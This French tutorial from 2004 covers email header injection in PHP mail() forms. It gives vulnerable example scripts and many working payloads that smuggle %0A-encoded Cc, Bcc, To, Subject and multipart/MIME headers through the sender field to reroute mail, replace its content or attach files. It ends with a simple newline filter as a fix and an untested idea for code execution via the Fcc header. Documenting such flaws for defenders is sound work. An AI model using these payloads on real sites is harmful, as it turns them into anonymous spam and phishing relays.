Les failles sur le net permettant l'envoi d'un mail anonyme
peuvent souvent servir à un hacker, ou pour une arnaque
quelconque. En effet, quand on envois un mail en PHP, le
destinataire reçoit un mail dont l'ip de l'expéditeur est celui
du site depuis lequel la fonction mail() a été appelée. Le
site fait donc usage de proxy SMTP.
Dans ces cas-là, le problème vient du fait que l'utilisateur
peut choisir le sujet du mail, son message, l'expediteur et le
destinataire.
Rappel : La fonction mail fonctionne de la sorte : mail([DESTINATAIRE],[SUJET],[MESSAGE],[HEADERS]);
Inutile de parler donc du cas où tout les arguments de la
fonction mail() sont définissable par l'utilisateur, il y a
déjà pas mal de textes à ce sujet.
Par contre il est plus interessant d'imaginer comment envoyer un
email anonyme quand il y a certaines restrictions.
En effet, d'autres
webmasters, plus prudents, définissent l'e-mail du destinataire
dans le code PHP, quand il s'agit par exemple (le plus souvent)
d'envoyer un mail au webmaster du site.
Voici un exemple de ce genre de script, sur lequel nous allons
commencer l'analyse :
<?
$to="webmaster@website.com";
if (!isset($_POST["send"])){
// Si le formulaire n'a pas été envoyé, on l'affiche
?>
<form method="POST" action="">
A: webmaster@website.com<br>
De: <input type="text"
name="expediteur"><br>
Sujet : <input type="text"
name="sujet"><br>
Message : <br><br>
<textarea name="message" rows="10"
cols="60"
lines="20"></textarea><br>
<input type="submit" name="send"
value="Envoyer">
</form>
<?
}else{
// Si le formulaire a été envoyé
$from=$_POST["expediteur"];
// On envoi le mail :
if
(mail($to,$_POST["sujet"],$_POST["message"],"From:
$from\n")){
// Si le mail a bien été envoyé, message de
confirmation
echo "Votre mail a bien été envoyé à
$to.<br>";
}else{
// sinon, message d'erreur.
echo "Votre mail n\'a pas pu être
envoyé.<br>";
}
}?>
|
On ne peut donc pas choisir le destinataire via le premier
argument de la fonction mail(), vu qu'il est définit dans le
script. Par contre on peut définir le sujet, le message, et
l'expediteur (dans les headers : "From").
Rappelons le format d'un envoi de mail en PHP, pour une fonction
de type mail($destinataire,$sujet,$message,$headers); :
To:
$destinataire
Subject: $sujet
$headers
$message |
Donc quand on fait
un appel à la fonction mail("destinataire@website1.com","Hello","Hi,\nYour
site is great.\nBye","From:
expediteur@website2.com\n"); on envois :
To:
destinataire@website1.com
Subject: Hello
From: expediteur@website2.com
Hi,
Your site is great.
Bye |
Dans le cas du
script PHP plus haut, la partie la plus interessante que
l'utilisateur peut choisir dans son envoi de mail est
l'expediteur, car il est directement envoyés dans les headers.
Et nous allons tenter de modifier ou d'ajouter d'autres headers
que le "From".
Logiquement, les parties message, To: et Subject: pourraient
servir aussi à injecter quelque chose, mais la fonction mail()
filtre bien les deux dernières, et la première est le message,
et à partir du moment où on a sauté une ligne dans l'envoi du
mail, c'est considéré comme du texte; le message ne saurait
donc rester qu'un message.
Le but est d'injecter des headers. A quel but ? Et bien ici, pour
envoyer un email anonyme à quelqu'un d'autre que le webmaster du
site. Cela serait possible en utilisant par exemple l'header
"Cc" ( pour Carbon Copy ou Copie Carbone ou
Copie Conforme), qui envois une copie conforme du mail
aux personnes indiquées en argument. Ou mieux l'header
"Bcc" (pour Blind Carbon Copy ou Copie
Carbone Cachée) qui envois une copie conforme sans qu'aucun
autre destinataire ne soit au courrant. Le problème est que pour
définir un nouvel header, il faut obligatoirement passer à la
ligne, comme on l'a vu dans le format de l'email plus haut.
Mais cela est possible, grâce au caractère <LF> pour Line
Feed (ou passage à la ligne), dont la traduction
hexadecimale est 0x0A.
Ainsi, en reprenant l'exemple de script PHP ci-dessus, si je
donne comme valeur :
- à l'expediteur : "email@anonymous.com%0ACc:email1@website1.com%0ABcc:email2@website2.com,email3@website3.com"
- au sujet : "Hum"
- au message : "My Message..."
alors l'email envoyé sera de la forme :
To:
webmaster@website.com
Subject: Hum
From: email@anonymous.com
Cc:email1@website1.com
Bcc:email2@website2.com,email3@website3.com
My Message... |
et on aura non
seulement bel et bien injecté des headers, vu que le seul prévu
par le webmaster était "From", mais on a en plus
envoyé l'email à trois personne de notre choix :
email1@website1.com, email2@website2.com et email3@website3.com
alors qu'on était pas sensé pouvoir choisir de destinataire.
On a utilisé les headers "Cc" et "Bcc" pour
envoyer notre mail à qui on voulait, mais le mieux aurait été
d'utiliser l'header "To". Et bien c'est possible; on
peut redéfinir l'header "To", la nouvelle valeur
viendra juste s'ajouter à l'ancienne, comme si on avait séparé
les deux mails par des virgules (comme dans le "Bcc"
injecté de l'exemple avant).
Gardons la même valeur pour le sujet et le message, mais à
l'expéditeur donnont maintenant la valeur : "email@anonymous.com%0ATo:email1@who.com"
ce qui donne :
To:
webmaster@website.com
Subject: Hum
From: email@anonymous.com
To:email1@who.com
My Message... |
La répétition du
"To" ne posera donc aucun problème, et l'email sera
envoyé à webmaster@website.com ET email1@who.com .
Imaginons maintenant une possibilité d'envoi de mail encore plus
restrictive : l'envoi de pub. Il arrive souvent sur des sites
qu'on trouve un formulaire pour envoyer un mail à un ami lui
"conseillant" d'aller visiter le site sur lequel on se
trouve. Dans des cas pareils, on peut rentrer notre email, que
l'ami sache qui l'a conseillé, et l'email du destinataire
(l'ami). Ce qui donne par exemple un script comme ceci :
<?
$sujet="Visitez http://www.website.com !";
$message="Bonjour,\nUn ami vous conseille de visiter
http://www.website.com.\nAu revoir.";
if (!isset($_POST["send"])){
// Si le formulaire n'a pas été envoyé, on l'affiche
?>
<form method="POST" action="">
A : <input type="text"
name="destinataire"><br>
De: <input type="text"
name="expediteur"><br>
<input type="submit" name="send"
value="Envoyer">
</form>
<?
}else{
// Si le formulaire a été envoyé
$from=$_POST["expediteur"];
$to=$_POST["destinataire"];
// On envoi le mail :
if (mail($to,$sujet,$message,"From: $from\n")){
// Si le mail a bien été envoyé, message de
confirmation
echo "Votre mail a bien été envoyé à
$to.<br>";
}else{
// sinon, message d'erreur.
echo "Votre mail n\'a pas pu être
envoyé.<br>";
}
}?>
|
Dans ce cas encore
une fois, on va pouvoir injecter des headers. Mais pas pour le
destinataire cette fois; on peut déjà le définir nous-même,c
'est prévu. Par contre ici on a pas le choix ni du sujet ni du
message envoyé.
Commençons par le sujet. On
a vu tout à l'heure qu'un header pouvoit être définit deux
fois, la nouvelle valeur s'ajoutait à l'ancienne. Il en est
evidemment de même pour l'header "Subject", comme pour
tout les nombreux autres headers.
En donnant
comme destinataire "ami@friends.com" et comme
expediteur "badguy@badboys.com%0ASubject:My%20Anonymous%20Subject",
le mail sera envoyé de cette façon :
To:
ami@friends.com
Subject: Visitez http://www.website.com !
From: badguy@badboys.com
Subject: My Anonymous Subject
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir. |
Le
sujet "My Anonymous Subject" sera ajouté au
sujet "Visitez http://www.website.com !" ce
qui donnera un email avec comme sujet "Visitez
http://www.website.com ! My Anonymous Subject". Il
arrive même dans certains webmails que ce ne soit que le sujet
ajouté qui est affiché (par exemple sur hotmail, à
l'intérieur du message).
Voyons enfin comment changer le message. Le corps du message,
contrairement aux headers, n'est pas reconnaissable par son nom
(From, To, Subject,...); il n'y a pas d'intitulé
"Message" dans le format d'un mail. Et c'est justement
comme ça qu'il est reconnaissable. A partir du moment où on est
passé à la ligne sans définir aucun header, on sait que la
suite est le message.
Donc au lieu de passer à la ligne et de mettre le nom de
l'header à injecter, on va simplement passer à la ligne, puis
inscrire le message.
Le message est déjà définit comme l'header "To" et
l'header "Subject", il y aura donc l'ancien message
plus le message injecté, mais contrairement à ces deux headers,
ce n'est pas après, mais avant l'ancien message que va se placer
le nouveau.
En effet imaginons maintenant qu'on marque comme expediteur :
"badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message."
, alors l'email serait de la forme :
To:
ami@friends.com
Subject: Visitez http://www.website.com !
From: badguy@badboys.com
My New
Anonymous Message.
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir. |
On
voit clairement que le nouveau message :
----------------------
My New
Anonymous Message
----------------------
vient avant l'ancien message :
--------------------------------------------------------------
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir.
--------------------------------------------------------------
pour donner finalement le message :
--------------------------------------------------------------
My New
Anonymous Message
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir.
--------------------------------------------------------------
Comme je l'ai déjà dis, il existe toute une ribambelle
d'headers mail autres que "Cc",
"Bcc","To","Subject" et
"From".
Nous n'allons pas tous les passer en revue, ce n'est pas le but
de ce texte. Voyons en un dernier, un petite luxe =), qui peut
s'averer fort utile.
Il s'agit de l'header "Content-Type" qui, comme le dit
son nom, définit le type du message envoyé. Il est par défaut
"plain/text", c'est-à-dire du texte simple. Mais on
peut lui donner par exemple la valeur "text/html", ce
qui aura comme effet d'interpreter les balises HTML comme du HTML
et pas comme du texte.
Par exemple en donnant à l'expediteur la valeur : "haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A
"
l'email envoyé sera :
To:
ami@friends.com
Subject: Visitez http://www.website.com !
From: haxor@attack.com
Content-Type:text/html
My New
<u>HTML Anonymous Message.</u>
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir. |
et
à l'affichage du mail, le texte "HTML Anonymous
Message." sera souligné.
La fonction mail respecte l'encodage MIME. En sachant ça,
l'header "Content-Type" peut devenir très interessant
pour l'injection d'headers. L'encodage MIME (Multipurpose Internet Mail Extensions) peut servir, en plus
d'envoyer des emails en html, de faire des attachements de
fichiers (sons, images, texte,...).
Ici nous allons étudier et utiliser l'header
"Content-Type" avec comme valeur
"multipart/mixed" (il y en a bien sûr d'autres du
même type comme "multipart/alternative" ou
"multipart/related").
"multipart/mixed" va nous permettre de séparer le mail
en plusieurs parties.
Commençons de suite par un exemple de mail au format MIME, ici
avec une seule partie pour le destinataire :
To:
destin@tai.re
Subject: Good Luck
From: expediteur@hissite.com
Content-Type: multipart/mixed;
boundary="MyBoundary";
Hidden Text1
--MyBoundary
Content-Type: plain/text;
Good Luck for you work,
bye
--MyBoundary--
Hidden Text2
|
On
voit d'abord un header "To", "Subject" et
"From" puis l'header "Content-Type" avec
l'argument "multipart/mixed", et juste après une ligne
attribuant à "boundary" la valeur
"MyBoundary". "boundary" et le séparateur
entre les differentes parties du message. Il annonce le début du
1er message par "--[LE BOUNDARY]", il fait la
séparation entre les differentes parties égalementpar
"--[LE BOUNDARY]" et il définit la fin du message par
"--[LE BOUNDARY]--". On peut lui donner la valeur qu'on
veut. Ensuite on voit une ligne "Hidden Text1". Comme
il le dit, ce texte ne sera pas montré au destinataire, car ce
n'est ni un header, ni une partie du message, puisqu'on a
définit un "boundary" qui n'a pas encore annoncé le
début du 1er message.
Puis on a cette ligne "--MyBoundary" qui annonce le
début du premier message, et directement après encore un fois
l'header "Content-Type" qui va définir le type de
cette première partie, ici du texte simple. Puis vient le
message, et la ligne "--MyBoundary--", annonçant la
fin de l'email. Comme c'est la fin de l'email, la dernière ligne
"Hidden Text2" ne sera pas non plus montrée au
destinataire.
Et voilà ce qui est interessant pour l'injection d'headers : on
avait vu qu'on pouvait ajouter un message avec le script PHP pour
envoyer une pub, mais la pub était toujours là. Avec ce nouvel
élément, on va pouvoir faire en sorte qu'il soit ignoré.
Ainsi en donnant comme valeur à l'expediteur :
"haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--"
on obtient l'envoi de message suivant :
To:
ami@friends.com
Subject: Visitez http://www.website.com !
From: haxor@attack.com
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html
<b>My Message.</b>
--frog--
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir. |
et
le message reçu par "ami@friends.com" est
uniquement "<b>My Message.</b>" en
HTML, c'est à dire "My Message." en gras. Le
message de pub :
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir. |
n'est
pas affiché.
Note : je n'ai pas mis le boundary entre guillemets pour
montrer que c'est applicable même si magic_quotes_gpc=ON.
Autre chose à ce sujet... imaginons que le hacker puisse
modifier les headers via le champ "Expediteur" ET une
variable dans le message (par exemple au lieu de "un
ami" dans le message, une variable que l'utilisateur doit
remplir dans le formulaire du script PHP via un champ
"Pseudo"). Dans ce cas, il est possible d'obtenir le
même résultat côté destinataire (afficher uniquement le
message que l'on choisit), en donnant au champ
"Expediteur" la valeur : "haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A"
et au champ "Pseudo" la valeur : "%0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--".
Seule difference, l'envoi de message sera :
To:
ami@friends.com
Subject: Visitez http://www.website.com !
From: haxor@attack.com
Content-Type:multipart/mixed; boundary=frog;
Bonjour,
--frog
Content-Type:text/html
<b>My Message.</b>
--frog--
vous conseille de visiter http://www.website.com.
Au revoir. |
On
voit bien que les parties du message "Bonjour,"
et "vous conseille de visiter http://www.website.com.Au
revoir." se trouvent aux emplacements de "Hidden
Text1" et "Hidden Text2" dans le
premier exemple de mail multipart-mixed. Elles ne sont donc pas
affichées dans le message.
Enfin une petite finale où on utilise à peu près tout ce qu'on
a vu, plus un petit bonus; un fichier attaché. En donnant à
l'expediteur la valeur :
"haxor@attack.com%0ASubject:Mwahahaha%0ABcc:target@nothappy.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0AContent-Type:text/html;name=Security.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A"
l'email est envoyé de la manière suivante :
To:
ami@friends.com
Subject: Visitez http://www.website.com !
From: haxor@attack.com
Subject:Mwahahaha
Bcc:target@nothappy.com
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html
<b>HTML Message.</b>
--frog--
Content-Type:text/html;name=Security.html;
Content-Transfer-Encoding:8bit
Content-Disposition: attachment
<u>HTML File</u>
--frog--
Bonjour,
un ami vous conseille de visiter http://www.website.com.
Au revoir. |
Ce
qui donne donc comme expediteur : "haxor@attack.com",
comme sujet : "Visitez http://www.website.com !
Mwahahaha".
Cet email sera reçu par "ami@friends.com", et
en copie cachée par "target@nothappy.com".
L'email contiendra un message en html : "<b>HTML
Message.</b>" et un fichier attaché de type
"text/html" nommé "Security.html"
contenant le code HTML : "<u>HTML File</u>".
Pour sécuriser les failles d'injection d'headers mail, il doit y
avoir plusieurs manières differentes. Une idée serait
d'ajouter, après la ligne :
$from=$_POST["expediteur"]; |
le
code suivant :
if
(eregi("\r",$from) ||
eregi("\n",$from)){
die("Why ?? :(");
} |
On
voit que le script est stoppé grâce à une fonction die() si
l'expediteur contient "\r" ou "\n".
"\n" correspond à LF ou 0x0A/%0A en hexadecimal,
c'est-à-dire le saut à la ligne, et "\r" correspond
à CR ou 0x0D/%0D en hexadecimal ou "Carriage Return",
c'est à dire le retour en début de ligne. Il arrive que les
caractères %0A%0D soient utilisés à la place du simple %0A,
mais c'est ce dernier caractère qui est réellement dangereux.
Le filtre vérifie tout de même se caractère car il n'y a
aucune autre raison que le piratage qu'il soit utilisé.
Il y aurait bien sûr encore beaucoup de choses à dire, mais les
grands principes sont vus, ainsi que la logique.
En conclusion on se souviendra qu'on peut modifier comme on veut
dans l'e-mail tout ce qui se trouve après l'endroit de
l'injection (le "From"), et on peut seulement ajouter
ce que l'on veut après ce qui se trouve avant l'endroit de
l'injection.
Il y a un autre bon point à cette sécurité, en plus du fait
que les sujets et destinataires entrés dans la fonction mail()
sont définis de toute façon.
Quand j'ai pensé à faire le texte sur l'injection d'headers, je
n'avais encore jamais rien fait de ce genre. En reflechissant à
ce qui serait possible de faire, je me suis dis qu'il pourrait
bien y avoir un trou énorme dû au header "Fcc". Cet
header contient le nom du fichier dans lequel une copie du mail
sera enregistré à son envoi. Mais cet header doit être le
premier définit parmis tout les headers pour être valide, et ce
n'est pas possible via la fonction PHP mail() (et en plus je ne
suis pas sûr que ça soit applicable au format MIME).
Si je parle de ce header "Fcc", c'est pour attirer
l'attention sur lui. Imaginons que comme message du mail ou comme
expediteur ou n'importe quoi on mette du code PHP, et que dans
"Fcc" on mette un nom de fichier en .php dont le path
est celui du site web, il serait alors possible d'exécuter du
code PHP. Ce n'est qu'une idée que je n'ai jamais testée mais
je suis sûr qu'il doit y avoir quelque part des failles liées
à ça. Si quelqu'un en entend parler, qu'il me fasse signe :)
Je dédicace ce texte à mon ami Raph alias Camebip décédé ce
2 novembre 2003. Ceux qui le connaissaient peuvent laisser à ses proches un message en cliquant ici.
frog-m@n ( leseulfrog@hotmail.com )
http://www.phpsecure.info
Texte publié dans THJ
N°12 de
décembre-janvier 2004.